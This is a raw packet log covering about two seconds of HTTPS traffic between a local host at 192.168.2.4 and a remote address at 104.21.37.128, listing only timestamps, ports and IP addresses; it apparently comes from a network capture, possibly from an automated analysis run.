Dec 28, 2024 04:24:14.304191113 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.304250956 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.306576967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.306591034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.306648970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.306655884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.306691885 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.308996916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.309011936 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.309072018 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.309081078 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.309118986 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.310129881 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.311502934 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.311517954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.311573029 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.311579943 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.311620951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.315718889 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.496942043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.496961117 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.497003078 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.497015953 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.497028112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.497051954 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.498703957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.498717070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.498770952 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.498779058 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.498825073 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.500618935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.500633955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.500668049 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.500673056 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.500699043 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.500718117 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.503298044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.503321886 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.503349066 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.503355026 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.503382921 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.503401041 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.505754948 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.505774021 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.505851030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.505858898 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.505913019 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.508380890 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.508395910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.508455992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.508470058 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.508511066 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.510617971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.510638952 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.510683060 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.510690928 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.510723114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.510735989 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.512589931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.512610912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.512666941 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.512677908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.512711048 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.514569998 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.698498011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.698514938 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.698609114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.698621988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.698673010 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.699826956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.699841976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.699903965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.699912071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.699954033 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.702306032 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.702321053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.702378035 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.702385902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.702425957 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.704965115 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.704986095 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.705030918 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.705039024 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.705070019 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.705085039 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.706834078 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.706850052 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.706924915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.706934929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.706988096 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.709462881 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.709480047 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.709543943 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.709553957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.709594965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.711792946 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.711813927 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.711869001 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.711878061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.711915970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.714375973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.714390993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.714451075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.714458942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.714497089 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.720694065 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.899728060 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.899744987 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.899868965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.899880886 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.899991035 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.901139021 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.901154041 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.901302099 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.901308060 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.901348114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.903678894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.903692007 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.903753042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.903760910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.903798103 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.906272888 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.906287909 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.906343937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.906352997 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.906392097 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.908849955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.908865929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.908914089 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.908921003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.908946037 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.908953905 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.910734892 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.910748005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.910804987 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.910811901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.910852909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.913070917 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.913084984 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.913131952 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.913137913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.913175106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.915600061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.915613890 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.915658951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.915663958 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:14.915699005 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:14.917678118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.101140022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.101162910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.101216078 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.101229906 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.101254940 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.101269960 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.102562904 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.102576971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.102633953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.102642059 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.102685928 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.105175018 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.105189085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.105226040 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.105232000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.105257988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.105278015 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.107741117 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.107754946 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.107793093 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.107800961 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.107824087 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.107832909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.109549046 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.109564066 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.109608889 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.109615088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.109651089 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.112276077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.112293959 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.112346888 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.112354040 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.112395048 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.114512920 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.114530087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.114583969 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.114590883 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.114629984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.116969109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.116985083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.117048025 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.117062092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.117104053 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.119596004 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.302488089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.302505016 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.302661896 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.302671909 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.302784920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.304354906 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.304368973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.304425955 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.304431915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.304471970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.306229115 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.306242943 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.306302071 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.306308031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.306345940 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.308820009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.308866024 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.308943987 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.308970928 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.309026957 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.311425924 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.311440945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.311501980 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.311508894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.311546087 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.313909054 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.313924074 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.313992023 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.313997984 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.314039946 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.316215992 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.316231966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.316294909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.316303015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.316342115 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.318144083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.318164110 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.318222046 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.318231106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.318269014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.321160078 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.503726006 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.503745079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.503849030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.503864050 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.503906012 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.505717993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.505731106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.505789042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.505796909 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.505841017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.507595062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.507607937 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.507658958 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.507666111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.507702112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.510196924 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.510211945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.510253906 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.510265112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.510303974 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.512708902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.512722969 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.512777090 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.512784004 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.512830019 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.515434980 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.515448093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.515510082 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.515516043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.515557051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.517554998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.517570019 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.517631054 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.517637014 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.517678022 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.519491911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.519510031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.519561052 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.519567966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:15.519604921 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:15.522584915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.001066923 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.001075029 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.001121044 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.001153946 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.001192093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.001221895 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.001249075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.001813889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.001828909 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.001869917 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.001876116 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.001912117 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.001926899 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.004528999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.004543066 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.004610062 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.004616022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.004658937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.006170988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006186962 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006241083 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.006246090 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006272078 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006278992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.006283045 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006318092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.006321907 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006356955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006367922 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.006396055 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.006740093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006753922 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006808043 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.006814003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.006851912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.007792950 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.007807016 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.007891893 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.007899046 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.007942915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.008483887 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.008796930 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.008810997 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.008857965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.008865118 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.008892059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.008903980 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.010127068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.010143995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.010205030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.010211945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.010245085 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.010950089 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.010963917 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.011022091 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.011028051 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.011059046 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.012105942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.012121916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.012172937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.012182951 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.012221098 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.012851954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.012866974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:16.012917995 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:16.012923956 CET	443	49752	104.21.37.128	192.168.2.4
